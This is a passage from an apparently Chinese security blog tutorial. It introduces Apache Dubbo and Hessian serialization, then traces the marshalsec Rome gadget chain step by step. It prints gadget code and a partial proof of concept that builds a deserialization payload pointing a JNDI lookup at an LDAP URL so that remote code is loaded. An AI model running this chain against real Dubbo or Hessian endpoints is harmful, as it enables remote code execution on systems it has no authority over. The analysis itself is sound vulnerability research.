0x00 前言
最近天气冷,懒癌又犯了,加上各种项目使得本篇文断断续续。
0x01 Dubbo
Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC(一种远程调用) 分布式服务框架(SOA),致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
运行机制
Dubbo框架启动,容器Container一启动,服务提供者Provider会将提供的服务信息注册到注册中心Registry,注册中心就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中心订阅subscribe所需要的服务。
若某个服务提供者变更,比如某个机器下线宕机,注册中心基于长连接的方式将变更信息通知给消费者。
消费者可以调用服务提供者的服务,同时会根据负载均衡算法选择服务来调用。
每次的调用信息、服务信息等会定时统计发送给监控中心Monitor,监控中心能够监控服务的运行状态。
以上图片是官方提供的一个运行流程图
节点 | 角色说明 |
---|---|
Provider | 暴露服务的服务提供方 |
Consumer | 调用远程服务的服务消费方 |
Registry | 服务注册与发现的注册中心 |
Monitor | 统计服务的调用次数和调用时间的监控中心 |
Container | 服务运行容器 |
- 服务容器负责启动,加载,运行服务提供者。
- 服务提供者在启动时,向注册中心注册自己提供的服务。
- 服务消费者在启动时,向注册中心订阅自己所需的服务。
- 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
- 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
- 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。
在使用Dubbo前,需要搭建一个注册中心,官方推荐使用Zookeeper。
下载解压 zookeeper ,将里面的 zoo_sample.cfg
内容,复制到 zoo.cfg
文件中。
tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data clientPort=2181
Zookeeper端口默认是2181,可修改进行配置端口。
修改完成后,运行 zkServer.bat
即可启动Zookeeper。
注册服务
定义服务接口 DemoService
package org.apache.dubbo.samples.basic.api; public interface DemoService { String sayHello(String name); }
定义接口的实现类 DemoServiceImpl
public class DemoServiceImpl implements DemoService { @Override public String sayHello(String name) { System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress()); return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress(); } }
用 Spring 配置声明暴露服务
<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>
使用注解配置声明暴露服务,在 application.properites
中配置
dubbo.scan.base-packages=org.apache.dubbo.samples
然后在对应接口使用 @Component
或 @Service
注解进行注册
引用远程服务
consumer.xml
<dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/>
public class HttpConsumer { public static void main(String[] args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml"); context.start(); DemoService demoService = (DemoService) context.getBean("demoService"); String result = demoService.sayHello("world"); System.out.println(result); } }
配置协议:
<dubbo:protocol name="dubbo" port="20880" />
设置服务默认协议:
<dubbo:provider protocol="dubbo" />
设置服务协议:
<dubbo:service protocol="dubbo" />
多端口:
<dubbo:protocol id="dubbo1" name="dubbo" port="20880" /> <dubbo:protocol id="dubbo2" name="dubbo" port="20881" />
发布服务使用hessian协议:
<dubbo:service protocol="hessian"/>
引用服务
<dubbo:reference protocol="hessian"/>
0x02 Hessian
Hessian概述
hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
序列化
import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Person o=new Person(); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(o); output.close(); System.out.println(os.toString()); } }
反序列化
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Person p=new Person(); p.setAge(22); p.setName("nice0e3"); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(p); output.close(); System.out.println("---------------------------------"); //反序列化 ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input(is); Object person = hessian2Input.readObject(); System.out.println(person.toString()); } }
0x03 Hessian利用链
在marshalsec工具中,提供了Hessian的几条利用链
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
该链需要以下依赖
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>
构造分析
public interface Rome extends Gadget { @Primary @Args ( minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl } ) default Object makeRome ( UtilFactory uf, String[] args ) throws Exception { return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ])); } default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception { ToStringBean item = new ToStringBean(type, obj); EqualsBean root = new EqualsBean(ToStringBean.class, item); return uf.makeHashCodeTrigger(root); } }
在 JDKUtil.makeJNDIRowSet(args[ 0 ])
进行跟进, arg[0]
位置为传递的ldap地址。
public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); return rs; }
创建 JdbcRowSetImpl
实例,调用 setDataSourceName
方法对实例的 dataSource
值赋值为传递进来的 jndiurl
变量,随后调用 setMatchColumn
方法,将 JdbcRowSetImpl
实例的 strMatchColumns
成员变量设置为 foo
,最后将 JdbcRowSetImpl
实例的 listeners
变量设置为空,该变量位于父类 javax.sql.rowset.BaseRowSet
中。
下面走到 makeROMEAllPropertyTrigger
方法中
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception { ToStringBean item = new ToStringBean(type, obj); EqualsBean root = new EqualsBean(ToStringBean.class, item); return uf.makeHashCodeTrigger(root); }
实例化 ToStringBean
对象,将type(这里为 JdbcRowSetImpl.class
)和 JdbcRowSetImpl
实例传递到构造方法中,下面实例化 EqualsBean
对象将 ToStringBean.class
和 ToStringBean
的实例化对象进行传递。获取到名为root的实例化对象。接着调用 uf.makeHashCodeTrigger(root)
,该位置进行跟进。
default Object makeHashCodeTrigger ( Object o1 ) throws Exception { return JDKUtil.makeMap(o1, o1); }
该位置传递2个同样的对象到 makeMap
方法中调用
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; }
实例化HashMap将长度设置为2,反射获取 java.util.HashMap$Node
或 java.util.HashMap$Entry
,实例化一个对象并且设置长度为2,并且第一个数据插入值为 java.util.HashMap$Node
的实例化对象,该对象在实例化的时候传递4个值,第一个值为0,第二和三个值为刚刚获取并传递进来的 EqualsBean
实例化对象,第四个为null。
插入的第二个数据也是如此。
走到下面则反射设置s这个hashmap中table的值为tbl,tbl为反射创建的 java.util.HashMap$Node
对象。
简化后的代码如下
//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://localhost:1389/obj"; JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl);
利用分析
poc
import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import marshalsec.gadgets.JDKUtil; import marshalsec.util.Reflections; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.sql.SQLException; import java.util.HashMap; public class remotest { public static void main(String[] args) throws Exception { //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://127.0.0.1:1389/obj"; JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.pu